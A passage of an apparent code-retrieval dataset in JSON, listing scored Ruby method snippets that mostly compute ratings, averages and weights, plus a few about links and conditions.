beer_rating_one && beer_rating_two && beer_rating_three\n (((((beer_rating_one * number_ratings_one) + (beer_rating_two * number_ratings_two) + (beer_rating_three * number_ratings_three)) / (number_of_ratings))*1)*2).round(2)\n elsif beer_rating_one && beer_rating_two\n (((((beer_rating_one * number_ratings_one) + (beer_rating_two * number_ratings_two)) / (number_ratings_one + number_ratings_two))*1)*2).round(2)\n elsif beer_rating_one && beer_rating_three\n (((((beer_rating_one * number_ratings_one) + (beer_rating_three * number_ratings_three)) / (number_ratings_one + number_ratings_three))*1)*2).round(2)\n elsif beer_rating_two && beer_rating_three\n (((((beer_rating_two * number_ratings_two) + (beer_rating_three * number_ratings_three)) / (number_ratings_two + number_ratings_three))*1)*2).round(2)\n elsif beer_rating_one\n ((((beer_rating_one * number_ratings_one) / (number_ratings_one))*1)*2).round(2)\n elsif beer_rating_two\n ((((beer_rating_two * number_ratings_two) / (number_ratings_two))*1)*2).round(2)\n else\n ((((beer_rating_three * number_ratings_three) / (number_ratings_three))*1)*2).round(2)\n end\n else\n # if a non-significant number (<500) have rated this beer, discount the rating by 10%\n if beer_rating_one && beer_rating_two && beer_rating_three\n (((((beer_rating_one * number_ratings_one) + (beer_rating_two * number_ratings_two) + (beer_rating_three * number_ratings_three)) / (number_of_ratings))*0.9)*2).round(2)\n elsif beer_rating_one && beer_rating_two\n (((((beer_rating_one * number_ratings_one) + (beer_rating_two * number_ratings_two)) / (number_ratings_one + number_ratings_two))*0.9)*2).round(2)\n elsif beer_rating_one && beer_rating_three\n (((((beer_rating_one * number_ratings_one) + (beer_rating_three * number_ratings_three)) / (number_ratings_one + number_ratings_three))*0.9)*2).round(2)\n elsif beer_rating_two && beer_rating_three\n (((((beer_rating_two * number_ratings_two) + (beer_rating_three * number_ratings_three)) / (number_ratings_two + number_ratings_three))*0.9)*2).round(2)\n elsif beer_rating_one\n ((((beer_rating_one * number_ratings_one) / (number_ratings_one))*0.9)*2).round(2)\n elsif beer_rating_two\n ((((beer_rating_two * number_ratings_two) / (number_ratings_two))*0.9)*2).round(2)\n else\n ((((beer_rating_three * number_ratings_three) / (number_ratings_three))*0.9)*2).round(2)\n end\n end\n end\n end", "title": "" }, { "docid": "f645e6bfe2e7f643cb88b5d6f321905e", "score": "0.6341672", "text": "def set_wine\n @wine = Wine.find(params[:id])\n \n @theRating=0.0\n @theTotPerson=0\n @wine.ratings.each {|i| if(i.rating!=-1 and !i.rating.nil? ); @theRating+=i.rating; @theTotPerson+=1; end;}\n @theRating/=@theTotPerson if @theTotPerson!=0\n \n \n end", "title": "" }, { "docid": "07337e89ab4839d52d1e40475f741070", "score": "0.62920874", "text": "def overall_rating\n\t\ttotal_score = 0\n\t\ttotal_score += self.setting \n\t\ttotal_score += self.hotness\n\t\ttotal_score += self.originality\n\t\ttotal_score += self.style\n\t\ttotal_score += self.attitude\n\t\treturn total_score / 5\n\tend", "title": "" }, { "docid": "13cc09459046429aec8ab3d18f05d3a6", "score": "0.62833273", "text": "def rating\n review.rating if review\n end", "title": "" }, { "docid": "f288fc18ec5ccc690c281e4738c99cad", "score": "0.6260118", "text": "def calculate_weighted_sum(base, weight_factors); end", "title": "" }, { "docid": "1ad8843276ad917e01b8be4a49f913ca", "score": "0.62568647", "text": "def rating\n 0\n end", "title": "" }, { "docid": "7fd60f659865e153b24344e3e0974c24", "score": "0.62276536", "text": "def weight\n 0\n end", "title": "" }, { "docid": "ad344b559d8051a5b860b091223dcde2", "score": "0.6206283", "text": "def rating\n Rating.average(:rating, :conditions => [\"sight_id = ?\", self.id])\n end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.62029165", "text": "def rate; end", "title": "" }, { "docid": "759598d6673b8f681fc039dbb67dfca1", "score": "0.62029165", "text": "def rate; end", "title": "" }, { "docid": "154ac0aa7affae17bec96cc734076b7c", "score": "0.6200918", "text": "def rate(rating)\n @nb_ratings += 1\n @sum_ratings += rating\n @average_rating = @sum_ratings / @nb_ratings\n end", "title": "" }, { "docid": "4c4f78b5523f55c19354f3b5d0a99452", "score": "0.61926335", "text": "def all_ratings_calculated_ratio\n\t\tif number_of_ratings > 0\n\t\t\tratio = mean_calculated_ratio\n\t\telse\n\t\t\tratio = chapter.mean_calculated_ratio\n\t\tend\n\t\treturn ratio\n\tend", "title": "" }, { "docid": "ace8f17679b14592864076fb5071ab45", "score": "0.6192137", "text": "def weight w=nil\n if w.nil?\n @weight\n else\n @weight = w\n end\n end", "title": "" }, { "docid": "b9441cd21a67bf1b7b4b7b3a30c20364", "score": "0.61908287", "text": "def rating\n if self.rating_sum > 0 && self.rating_count > 0\n (self.rating_sum / self.rating_count).round(2)\n end\n end", "title": "" }, { "docid": "ecbc4713b5b3c43ac91c20fab386e302", "score": "0.6168058", "text": "def weighten(method)\n if method == FOCUSED_CLOSENESS_CENTRALITY\n fcc\n elsif method == FOCUSED_BETWEENNESS_CENTRALITY\n fbc\n elsif method == FOCUSED_INFORMATION_CENTRALITY\n fic\n elsif method == FOCUSED_RANDOM_WALK_BETWEENNESS_CENTRALITY\n frwbc\n elsif method == ADJACENT_VERTICE_COUNT\n avct\n else\n {}\n end\n end", "title": "" }, { "docid": "36bb4d5a264db772fab595511bb3dd1c", "score": "0.61632466", "text": "def set_relevancy!\n # calculate total of ratings\n ratings = rating.count_attributes\n ratings.each do |key,value|\n ratings[key] = value * SolutionRelevancy.send(\"rating_value_#{key}\")\n end\n total = ratings.values.inject(0) { |sum, count| sum + count }\n \n # calculate total of views\n total += views * SolutionRelevancy.view_value\n \n # calculate updates\n total += updates * SolutionRelevancy.update_value\n \n # total # of items that are included in the updates\n num_of_items = total_votes + views + updates\n\n # set the relevancy\n settings.update_attribute('relevancy',num_of_items > 0 ? total/num_of_items : AppConstants::DEFAULT_SOLUTION_RELEVANCY) \n end", "title": "" }, { "docid": "f6d81b7376e68c3c7aa3b9420d618603", "score": "0.6162784", "text": "def weighted_combined_score\n return 0.0/0.0 if review_committee_score.nil? || interview_committee_score.nil?\n ratio = offering.final_decision_weight_ratio\n r = review_committee_score * ratio\n i = interview_committee_score * (1 - ratio)\n r + i\n end", "title": "" }, { "docid": "05f44b35582508bd45a60efe4ded20ba", "score": "0.615631", "text": "def weight\n puts 'used custom getter'\n 2\n end", "title": "" }, { "docid": "417f6615ff0baa10a5db2c39a2771467", "score": "0.61256826", "text": "def calculate_average_rating\n self.average_rating = ((self.content_rating.to_f + self.recommend_rating.to_f) / 2).round(1)\n end", "title": "" }, { "docid": "cf4af5e62acbc68c67247abc401d444e", "score": "0.6111894", "text": "def rating\n return 0 if total_votes == 0\n (100 * self.yeses) / total_votes\n end", "title": "" }, { "docid": "153dae934c1830f4fc21e81df1817f1e", "score": "0.6106505", "text": "def weight\n num_motions.zero? ? 0.5 : total_score.fdiv(max_score)\n end", "title": "" }, { "docid": "9d9fa3aea6a8e63fe429633fd3fc895d", "score": "0.6102595", "text": "def vote_weights\n @vote_weights ||= offers.map(&:booking).compact.flat_map(&:votes_for).map(&:vote_weight)\n end", "title": "" }, { "docid": "867738d6adfb94f22b8929b0408fdbad", "score": "0.608081", "text": "def num_weights(); 0;end", "title": "" }, { "docid": "5cb492e2e2f34add70ba639591a8f4d9", "score": "0.6079425", "text": "def weight(item, index)\n {\n tag_name: weight_tag_name(item),\n heading_relevance: weight_heading_relevance(item),\n position: index\n }\n end", "title": "" }, { "docid": "b9a8520b0abb6176b5fe3a75d6daf5bc", "score": "0.60720223", "text": "def humanized_rating\n\t\tRATINGS.invert[self.rating]\n\tend", "title": "" }, { "docid": "991ca0b358d34cc6ed8c5f35107cd27e", "score": "0.6071974", "text": "def rating #Getter\n @rating\n end", "title": "" }, { "docid": "b43ede6de09bb490e5b2866af1dc4b59", "score": "0.60705876", "text": "def product_weight\n price_calculator.weight\n end", "title": "" }, { "docid": "4de283d87b4861c51eda3a47dfe174aa", "score": "0.6050304", "text": "def weight\n return @weight\n end", "title": "" }, { "docid": "bb45e77b5b45f4820126c3c58aa9e787", "score": "0.60465884", "text": "def weight(category)\n raise \"Override and return the metric's weight in the specified category\"\n end", "title": "" }, { "docid": "b3e711e4c15a9a7dc5631917ef26a6e9", "score": "0.60293317", "text": "def double_rating_score\n\t\t\tparams[:comment][:rating] = (params[:comment][:rating].to_f * 2).to_i\n\t\tend", "title": "" }, { "docid": "07e9ddcec4698313061f201ec28d58f3", "score": "0.60225177", "text": "def round_rating(target = :overall_quality)\n rating = send(target)\n if rating #&& rating\n ((rating * 2 + 0.5).floor / 2.0)\n end\n end", "title": "" }, { "docid": "7960a17e9a14cc2e965167dadceb0e4a", "score": "0.6019158", "text": "def rating\n if average_rating?\n # Integerize it for now -- no fractional average ratings\n (the_ratings = ratings.average(:rating)) ? the_ratings.round : 0.0\n else\n self.old_rating.nil? ? nil : self.old_rating.rating\n end\n end", "title": "" }, { "docid": "6efa6b5f08ecc6a59c22bed199c67727", "score": "0.60166174", "text": "def update_combined_rating\n property_weight, landlord_weight = 1, 1\n weighted_property_rating = property_weight * property.average_property_rating\n weighted_landlord_rating = landlord_weight * license.average_landlord_rating\n combined_avg = (weighted_property_rating + weighted_landlord_rating) / 2\n property.update_attributes!(average_combined_rating: combined_avg)\n end", "title": "" }, { "docid": "6c760b55587550f23e6268e7beed196e", "score": "0.6014797", "text": "def rating\n reviews.average(:rating)\n end", "title": "" }, { "docid": "e43cad00648cb10d9b79ddf82101315d", "score": "0.59877414", "text": "def rating\n (get_upvotes.size + 2)/(get_downvotes.size + 2)\n end", "title": "" }, { "docid": "435022ee3b51928d427dc78501a3236d", "score": "0.59865135", "text": "def rating\n reviews.any? ? reviews.sum(&:rating) / reviews.count : 0\n end", "title": "" }, { "docid": "b70d4fe5ecfd77515492bafc4bbb249a", "score": "0.5985359", "text": "def compute_weights\n\t\t@weight = Hash.new\n\t\t\n\t\[email protected] do |term|\n\t\t\t@doc_list.values.each do |doc|\n\t\t\t\tvalue = doc.freq_rel(term) * @idf[term]\n\t\t\t\t@weight[[term,doc]] = value\n\n\t\t\t\tassert { value >= 0 }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d35367e6a003956534760c9b8e2dd001", "score": "0.5983828", "text": "def addweight(w)\n @weight += w\n end", "title": "" }, { "docid": "56b334792dd60cf7b5348213722ef8cb", "score": "0.59723586", "text": "def rating\r\n\t\t@rating\r\n\tend", "title": "" }, { "docid": "612744bf07fcc77f80b1f2172cf2f2f1", "score": "0.5968389", "text": "def weighted_probability(word)\n word = (Word === word ? word : get(word))\n\n p = BigDecimal.new(1)\n p = p * probability(word)\n p = p * file_probability(word, 1)\n #p = p * lexicon_weight(word)\n #p = p * weight_length(word)\n #p = p * weight_stem(word)\n #p = p * weight_plural(word)\n p\n end", "title": "" }, { "docid": "b9e863fe1e198beca8986d28d2b553df", "score": "0.59651524", "text": "def set_rating\n all_ratings = []\n self.reviews.each { |review| all_ratings << review.overall_rating }\n self.rating = all_ratings.reduce(:+) / (all_ratings.length * 1.0)\n self.save\n end", "title": "" }, { "docid": "e93998f118c37fef9076fdba03f79e4f", "score": "0.5959598", "text": "def set_weights(weights); self;end", "title": "" }, { "docid": "3af39748e60de9ba2f57bc03cdcd7fbb", "score": "0.5957603", "text": "def reduce_weight \n @weight -= WEIGHT_INCREMENT\n # increment could be confusing and imply an increase rather than a decrease \n # but it is being reduced by increments of 10 so it makes sense??? \n # It's the best of the names that came to mind.\n end", "title": "" }, { "docid": "17c57e8dee004972d1be47875b453813", "score": "0.59564936", "text": "def query_all_weight\n d = 0 \n eqs = query_all_wearings\n p \"=>wearing=#{eqs.inspect}\"\n eqs.each {|k,v|\n d+= v.weight if v\n }\n return d\n end", "title": "" }, { "docid": "0df1aca10cf35fba9fcdfbb65598f823", "score": "0.59547293", "text": "def apply_usage_weights(word_hash)\n max_usage = @word_list.values.max.to_f\n max_usage = 1 if max_usage == 0\n\n weighted_array = word_hash.map do |word, bigram_score|\n usage_score = @word_list[word].to_f / max_usage\n [word, (bigram_score * (1 - @alpha)) + (usage_score * @alpha)]\n end\n\n Hash[weighted_array]\n end", "title": "" }, { "docid": "40f1ea92a58822872320a43fd9397e1f", "score": "0.5945951", "text": "def rate!(level)\n rating.increment!(level)\n end", "title": "" }, { "docid": "10d96c52d1e09fe74223ac936c627fd9", "score": "0.5939307", "text": "def collect_rating(digits = nil)\n # do something, either with object state or DB info. \n end", "title": "" }, { "docid": "25ec7c1805f3b43a2cdbb7e953bb3386", "score": "0.59370065", "text": "def baserunning_total\n self.rating_15 + \n self.rating_16 +\n self.rating_17 +\n self.rating_18\n end", "title": "" }, { "docid": "ffcfa7bffa5365e2a2267f2514ca2258", "score": "0.59352076", "text": "def update_rating!\n # not using count because lates some votes might be something other than +/- 1\n self.positive_vote_count = votes.positive.sum(:value).abs\n self.negative_vote_count = votes.negative.sum(:value).abs\n self.rating = votes.sum(:value)\n save!\n end", "title": "" }, { "docid": "e17c7be89c9422f4811823a02229da2b", "score": "0.5932933", "text": "def rating\n return nil unless ratings.length > 0\n (ratings.average(:value) / 0.25).round * 0.25\n end", "title": "" }, { "docid": "356b178d0ad44cd553bc15fe00c2c844", "score": "0.5925749", "text": "def post_rating_processing(rating)\n #abstract class... override to provide specific class post rating processing\n end", "title": "" }, { "docid": "f85d7297e102f44b7e8ed3c0bdb4f3bc", "score": "0.5919874", "text": "def calc_total_weight\n 0\n end", "title": "" }, { "docid": "fdd1d0da57eec90b8c1143a6b5aba031", "score": "0.59197986", "text": "def hitting_total\n self.rating_19 +\n self.rating_20 +\n self.rating_21 +\n self.rating_22 +\n self.rating_23 +\n self.rating_24 +\n self.rating_25 +\n self.rating_26 +\n self.rating_27\n end", "title": "" }, { "docid": "671f4e4ffa21f02180e6ffdaef811ecf", "score": "0.5917885", "text": "def rating\n @rating\n end", "title": "" }, { "docid": "07ca674346bbd128279ef2b9962112eb", "score": "0.5916892", "text": "def update_rating\n @product.rating = @product.likes.size * 10\n @product.feature_groups.where(singles: false).each do |fg|\n fg.features.each do |f|\n up_rating = f.likes.where(up: true).size\n down_rating = f.likes.where(up: false).size\n @product.rating += up_rating - down_rating\n end\n end\n @product.feature_groups.where(singles: true).each do |singles|\n singles.features.each do |f|\n @product.rating += f.likes.where(up: true).size - f.likes.where(up: false).size\n end\n end\n # here we should somehow incorporate comments on the product into the rating\n @product.save\n end", "title": "" }, { "docid": "8f033d66d81131d587ffede8852e5ebd", "score": "0.5916238", "text": "def rating\n cached_rating\n end", "title": "" }, { "docid": "865fdccfabe07e37d3831e18999e5af5", "score": "0.5915585", "text": "def compute_weights\n @weight = Hash.new\n \n @terms.each do |term|\n @doc_list.values.each do |doc|\n value = doc.freq_rel(term) * @idf[term]\n @weight[[term,doc]] = value\n\n assert { value >= 0 }\n end\n end\n end", "title": "" }, { "docid": "7584005ec2bca53aca95a266c21065ff", "score": "0.59137356", "text": "def rating_convert\n self.rating.each do |trip|\n trip.rating = * 0.01 * ('%.2f' % trip.rating)\n return trip.rating\n end\n end", "title": "" }, { "docid": "73b7db215fc7eab02f5b616b6753b5a9", "score": "0.59106326", "text": "def weight max_stars, max_forks, max_downloads\n if max_stars.zero?\n stars = 0.0\n else\n stars = weight_stars.to_f / max_stars\n end\n if max_forks.zero?\n forks = 0.0\n else\n forks = weight_forks.to_f / max_forks\n end\n if max_downloads.zero?\n downloads = 0.0\n else\n downloads = crates_io_downloads.to_f / max_downloads\n end\n @weights = [(stars * 0.8), (forks * 0.1), (downloads * 0.1)]\n @weights.sum\n end", "title": "" }, { "docid": "1ca82b92a3c243cad7a8035e8e0ebbd5", "score": "0.5899407", "text": "def prefer_metric_weight\n data[:prefer_metric_weight]\n end", "title": "" }, { "docid": "3965f47832a023d267f97a08a4b3a414", "score": "0.5898304", "text": "def update_rating\n ratings = reviews.pluck(:rating)\n value = ratings.empty? ? 0 : (ratings.reduce(:+).to_f / ratings.size)\n update(rating: value)\n end", "title": "" }, { "docid": "9b8aa6ba6569d9beda69c89ba1513810", "score": "0.5885096", "text": "def calculate_tip(amount, rating)\n# A good use of a key/value hash (e.g. key == 'terrible' and value == 0) to minimize \n# repetition of code\n tips = { 'terrible' => 0, 'poor' => 0.05, 'good' => 0.1, 'great' => 0.15, 'excellent' => 0.2 }\n return 'Rating not recognised' unless tips.keys.include? rating.downcase\n# In this line the calculation is written only once using the keys/values of the hash 'tips'\n (amount * tips[rating.downcase]).ceil\nend", "title": "" }, { "docid": "4bb80fafcffcb4d3450ef3c4aeb8d7ee", "score": "0.5884469", "text": "def rating\n return votes.average(:rate) if(votes.size > 0) # example of duck typing here -- very convinient \n \"Not Rated\" \n end", "title": "" }, { "docid": "041b27fd26c9dc883430e38b02d2f1f5", "score": "0.58838063", "text": "def acts_as_rateable(opts={})\n options = options_for_rateable(opts)\n extend FortiusOne::Acts::Rateable::SingletonMethods\n include FortiusOne::Acts::Rateable::InstanceMethods\n \n if opts[:average] == true\n has_many :ratings, :dependent => :destroy, :as => :rateable, :foreign_key => :rateable_id\n else\n has_one :rating, :dependent => :destroy, :as => :rateable, :foreign_key => :rateable_id \n class_eval { alias :old_rating :rating }\n \n end\n \n class_eval do\n \n # Rate this object with a_rating, also aliased as rating=\n def rate(a_rating, options={})\n options.merge!({\n :rating => a_rating.to_i\n })\n if average_rating?\n if options[:user_id]\n # Delete the old ratings for current user \n Rating.delete_all([\"rateable_type = ? AND rateable_id = ? AND user_id = ?\", self.class.base_class.to_s, self.id, options[:user_id]]) \n end\n self.ratings.create(options)\n else\n self.rating.nil? ? create_rating(options) : self.old_rating.update_attribute(:rating, a_rating.to_i)\n end\n end\n # alias for rate\n alias :rating= :rate\n\n # Return the rating of this object\n def rating\n if average_rating?\n # Integerize it for now -- no fractional average ratings\n (the_ratings = ratings.average(:rating)) ? the_ratings.round : 0.0\n else\n self.old_rating.nil? ? nil : self.old_rating.rating\n end\n end\n \n def total_ratings\n average_rating? ? ratings.count : 1\n end\n \n def average_rating?\n self.respond_to?(\"ratings\")\n end\n \n end\n end", "title": "" }, { "docid": "9e03199680f129a52982dde442005090", "score": "0.5878748", "text": "def sort_weight\n if !ec? && (excellent_schools_grade == 'N/A' || excellent_schools_grade == 'New') && recommended?\n # Put Recommended schools that don't have a grade, between C+ and C schools\n 49.5\n else\n school_type_weight\n end\n end", "title": "" }, { "docid": "42923917aba3bf69bba311c8b73c9bd9", "score": "0.5877878", "text": "def rates; end", "title": "" }, { "docid": "42923917aba3bf69bba311c8b73c9bd9", "score": "0.5877878", "text": "def rates; end", "title": "" }, { "docid": "6e314ae754c39afbc8a47a1698a7172d", "score": "0.5875113", "text": "def weight\n product_weight * quantity\n end", "title": "" }, { "docid": "6e314ae754c39afbc8a47a1698a7172d", "score": "0.5875113", "text": "def weight\n product_weight * quantity\n end", "title": "" }, { "docid": "e7d2985942acb988f4b49635f5f9b732", "score": "0.5873543", "text": "def weight_class\n if @weight < 215\n \"Lightweight\"\n elsif @weight < 230\n \"Cruiserweight\"\n elsif @weight < 300\n \"Heavyweight\"\n elsif @weight > 300\n \"Super Heavyweight\"\n else\n \"Heavyweight\"\n end\n end", "title": "" }, { "docid": "3c8d0831c52b8807fab654c9d01096be", "score": "0.5872858", "text": "def update_rating\n\t\tself.user_rating = self.ratings.sum(\"rating_value\")/self.ratings.count\n\t\tself.save(validate: false) #THIS IS TO PREVENT ALL OF THE USER VALIDATIONS FROM RUNNING\n\tend", "title": "" }, { "docid": "d0b446737b1a36aa9a2061decedd3022", "score": "0.58721435", "text": "def search_weight(terms)\n weights = {\n total: 0,\n terms: {}\n }\n terms.each do |term|\n author_names = authors.pluck(:first_name, :last_name, :institution).flatten.join(' ')\n text_blob = \"#{self.name} #{self.description} #{author_names}\"\n score = text_blob.scan(/#{::Regexp.escape(term)}/i).size\n if score > 0\n weights[:total] += score\n weights[:terms][term] = score\n end\n end\n weights\n end", "title": "" }, { "docid": "5f3364bf9df19e8af27de54f2ccc828c", "score": "0.5866569", "text": "def weight=(value)\n @weight = value\n end", "title": "" }, { "docid": "f164c139066071f84081bd8d1da4ef01", "score": "0.58653677", "text": "def feedback_score\n average_rating = self.average_rating\n if average_rating > 0 and average_rating <= 2.5\n average_rating = 1\n elsif average_rating > 2.5 and average_rating <= 5.0\n average_rating = 2\n elsif average_rating > 5.0 and average_rating <= 7.5\n average_rating = 3\n elsif average_rating > 7.5 and average_rating <= 10.0\n average_rating = 4\n end\n end", "title": "" }, { "docid": "641d9c31f0abcb0af08078c84d93e737", "score": "0.58603835", "text": "def currentWeight() weighins.last.weight end", "title": "" }, { "docid": "7f2575b6bae0d0e7eb8916bf8c524d14", "score": "0.58568186", "text": "def create_ratyrate\n\t\tself.rate(self.rating, self.user, \"rating\", false)\n\tend", "title": "" }, { "docid": "e8193a360737f0620798294a282390fa", "score": "0.58540463", "text": "def rating\n if reviews.size ==0\n return nil\n end\n rating=0\n reviews.each do |review|\n rating+=review.rating\n end\n return (rating*1.0/reviews.size).round(2)\n end", "title": "" }, { "docid": "0e7fbba2ac7f5e6137bf5c33b07fb5df", "score": "0.5852815", "text": "def rating\n average = 0.0\n ratings.each { |r|\n average = average + r.rating\n }\n if ratings.size != 0\n average = average / ratings.size\n end\n average\n end", "title": "" }, { "docid": "40a436e5d52056e4d685d758ddeeafd6", "score": "0.58453435", "text": "def average_ratings\n ratings = 0\n self.ratings.each {|r| ratings += r.score}\n avg = votes == 0 ? 0 : ratings.to_f/votes.to_f\n \"%.1f\" % avg\n end", "title": "" }, { "docid": "40a436e5d52056e4d685d758ddeeafd6", "score": "0.58453435", "text": "def average_ratings\n ratings = 0\n self.ratings.each {|r| ratings += r.score}\n avg = votes == 0 ? 0 : ratings.to_f/votes.to_f\n \"%.1f\" % avg\n end", "title": "" }, { "docid": "4270f8ce8f199cb198e46c1bb1b68a0b", "score": "0.58371276", "text": "def normalize_weights(rules)\n weight_total = rules.map { |_attr, rule| rule[:weight] }.reduce(0.0, &:+)\n rules.each do |_attr, rule|\n rule[:weight] = rule[:weight] / weight_total\n end\n end", "title": "" }, { "docid": "d5aa09a0ea306ffb39d5201248df9c69", "score": "0.58330905", "text": "def rating; \"Д/379 (stub)\"; end", "title": "" } ]
3e4a930ed3e65101e6a3ccdf2d5e0f47
Returns the Condition of Use link
[ { "docid": "c1a46b2e43a50e101731eb128d3a409d", "score": "0.72491336", "text": "def condition_of_use_link\n $tracer.trace(__method__)\n return ToolTag.new(jquery(\"a[href='/Home/ConditionsofUse']\"),__method__)\n end", "title": "" } ]
[ { "docid": "fd873f5eddc7f6d4532ffb772406e10b", "score": "0.6187962", "text": "def link_support\n attributes.fetch(:linkSupport)\n end", "title": "" }, { "docid": "4308a8e5747dfc18ada2a2d1c20e8b60", "score": "0.609424", "text": "def get_condition\n @condition\n end", "title": "" }, { "docid": "65bd03d405755f2a063a2d2b44de3735", "score": "0.5985684", "text": "def condition_type()\n return \"direct\"\n #return \"indirect\"\n end", "title": "" }, { "docid": "bbbfa20709467d90c31a7889001ae598", "score": "0.5970049", "text": "def restriction_on_access\n uris = value_from xpath: \"mods:accessCondition[@type=\\\"restrictionOnAccess\\\"]/@xlink:href\"\n return uris unless uris.empty?\n value_from xpath: \"mods:accessCondition[@type=\\\"restrictionOnAccess\\\"]\"\n end", "title": "" }, { "docid": "c9860b05d97c1a7c9abc29177de9660a", "score": "0.59676564", "text": "def condition\n @condition\n end", "title": "" }, { "docid": "d0dd27e5bf65cded16e202789bb66cd9", "score": "0.5880153", "text": "def via\n detect { |link| link.rel == Link::Rel::VIA }\n end", "title": "" }, { "docid": "c5998cff73386b95d61ea53738cf7d0f", "score": "0.58508945", "text": "def condition\n @hash[\"condition\"]\n end", "title": "" }, { "docid": "55c24b2da548904182f6a141400befac", "score": "0.5849796", "text": "def link\n\t\t#Separate these out so they dont get the fromNotif arg that auto-opens comments\n\t\tif(self.notifClass == NOTIF_CLASS::PROV_PASS_REQUEST || self.notifClass == NOTIF_CLASS::PROV_PASS_APPROVE)\n\t\t\treturn \"/reviews/#{self.whatId}\" if(self.what == LINK_TYPE::APPLICATION)\n\t\t\treturn \"/tests/#{self.whatId}\" if(self.what == LINK_TYPE::TEST)\n\t\tend\n\n\t\treturn \"/reviews/#{self.whatId}?fromNotif=1\" if(self.what == LINK_TYPE::APPLICATION)\n\t\treturn \"/tests/#{self.whatId}?fromNotif=1\" if(self.what == LINK_TYPE::TEST)\n\t\tif(self.what == LINK_TYPE::VULN)\n\t\t\tv = Vulnerability.get(self.whatId)\n\t\t\treturn \"\" if(v.nil?)\n\t\t\treturn \"/tests/#{v.test.id}/#{self.whatId}?fromNotif=1\"\n\t\tend\n\n\t\treturn nil\n\tend", "title": "" }, { "docid": "891ff219a2fbb50ba94a72b915effb1f", "score": "0.5788336", "text": "def condition\n\t\t\t@condition\n\t\tend", "title": "" }, { "docid": "ce3dbf9ab978c6c189bdae5ef43b6e48", "score": "0.5735893", "text": "def active_link?(url, condition = nil)\n @is_active_link ||= {}\n @is_active_link[[url, condition]] ||= begin\n url = Addressable::URI.parse(url).path\n path = request.original_fullpath\n case condition\n when :inclusive, nil\n path.match(%r{^#{Regexp.escape(url).chomp('/')}(/.*|\\?.*)?$}).present?\n when :exclusive\n path.match(%r{^#{Regexp.escape(url)}/?(\\?.*)?$}).present?\n when Regexp\n path.match(condition).present?\n end\n end\n end", "title": "" }, { "docid": "bf99bd1248b3124c3f0dfaddaba9ce1b", "score": "0.5659159", "text": "def get_condition\n conversion = { \"none\" => :none, \"study\" => :study, \"study_recall\" => :study_recall, \"exam\" => :exam }\n conversion[self.condition] \n end", "title": "" }, { "docid": "43d9d38f98afc3f89ccaf2bb78492160", "score": "0.5636142", "text": "def specific_product(product_link)\n true\n end", "title": "" }, { "docid": "5e497492356cfd118a30518d98c8a605", "score": "0.5596744", "text": "def condition\n node_parts[0]\n end", "title": "" }, { "docid": "51e869f1ad6626aa653af62c7e35324b", "score": "0.5593579", "text": "def weblink\n respond_to?(:businessItemHasBusinessItemWebLink) ? businessItemHasBusinessItemWebLink : ''\n end", "title": "" }, { "docid": "53c5a3950bd82fcdb37ea890ef375d1d", "score": "0.5591803", "text": "def find_links_with_condition(conds)\n @links.find_all do |link|\n conds.inject(true) do |res, cond|\n res && link.send(cond[0]).send(cond[1]) == cond[2]\n end\n end\n end", "title": "" }, { "docid": "db3431b4fedc8c6dbfb8f3504f88dfa1", "score": "0.5589154", "text": "def link_to_remote_if condition, name, options ={}, html_options = {}\n condition ? link_to_remote(name, options, html_options) : name\n end", "title": "" }, { "docid": "b81619b43e23825f1123765cde0fd4ac", "score": "0.55479085", "text": "def link_to_or_span(condition, name, url)\n link_to_unless(condition, name, url) { |n| \"<strong>#{n}</strong>\" }\n end", "title": "" }, { "docid": "4a820988315767bc945018144f136bfa", "score": "0.5531683", "text": "def check_custom_link?\n return false unless @record.fulltext_links.present?\n @record.fulltext_links.each do |ftl|\n if relevant_fulltext_link?(ftl)\n @sfx_link = ftl[:url]\n end\n end\n @sfx_link\n end", "title": "" }, { "docid": "3fbb30b47aaff4fc916452f87080a1b0", "score": "0.55261165", "text": "def fetch_link(product)\n\treturn product.at_css(\"a\").attributes[\"href\"].value unless !product\nend", "title": "" }, { "docid": "8f16f22e15c3a84b07d789bb445b2aad", "score": "0.5525926", "text": "def condition_text\n is_condition ? '已知条件共性' : nil\n end", "title": "" }, { "docid": "1e4c5f5fee6945ff24ad99edb4e6cb1e", "score": "0.55118954", "text": "def resource_for_link(link, includes)\n includes.detect do |i|\n i['sys']['id'] == link['sys']['id'] &&\n i['sys']['type'] == link['sys']['linkType']\n end\n end", "title": "" }, { "docid": "93ef3f38acf1bc5eb4923edf6ca28596", "score": "0.5484214", "text": "def link\n @attributes[:link]\n end", "title": "" }, { "docid": "0b22dad44b6732144c9dc683ce7de391", "score": "0.547779", "text": "def link_type?\n link_to.present?\n end", "title": "" }, { "docid": "d9f4e4ee727e012b03907c7dc7b67756", "score": "0.5467847", "text": "def link?\n link.present?\n end", "title": "" }, { "docid": "7f05ccc23b223ec457c77fdcf2a96da9", "score": "0.54650867", "text": "def is_restricted?(link)\n restricted = false\n @dont_go.each do |dg|\n if link.to_s.include?('dontgohere')\n restricted = true\n end\n end\n restricted\nend", "title": "" }, { "docid": "7cb0c8471126ffb60a85dc36688060a3", "score": "0.5460163", "text": "def linking_conjunction?\n self.form.value =~ LINKING\n end", "title": "" }, { "docid": "075e0cdd456a5b0cb3a7e227d8fe8b17", "score": "0.54561543", "text": "def link_location\n return @link_location\n end", "title": "" }, { "docid": "b50bf9ffc065a5c3367715129d9db5aa", "score": "0.54444414", "text": "def link_to_if(condition, element, link)\n if condition\n link_to(element, link)\n else\n element\n end\n end", "title": "" }, { "docid": "9ef3ee5307300f45c0fde49ffb18d366", "score": "0.5422513", "text": "def credit_link_exist?\r\n credit_link_text = page.evaluate_script(\"$('#product-overview .col-xs-12>.btn.btn-link').text();\")\r\n credit_link_text == 'Credits' || credit_link_text == 'Crédits'\r\n end", "title": "" }, { "docid": "508417ae6c622963a8a011147999fc64", "score": "0.54168427", "text": "def requires_link?\n @email.include?('{% link %}') ||\n @email.include?('{{ link.')\n end", "title": "" }, { "docid": "7487752e1b3257a9c91235ed58b43e5d", "score": "0.5414932", "text": "def link\n return @link\n end", "title": "" }, { "docid": "a22abbb7b88df2ba6badeb9d9e2abd75", "score": "0.53874665", "text": "def credit_link_exist?\n credit_link_text = page.evaluate_script(\"$('#product-overview .col-xs-12>.btn.btn-link').text();\")\n credit_link_text == 'Credits' || credit_link_text == 'Crédits'\n end", "title": "" }, { "docid": "6d1ff1ca5594a38094ab6fd855564fe0", "score": "0.5385108", "text": "def link?(value)\n value.is_a?(::Hash) &&\n value.fetch('sys', {}).fetch('type', '') == 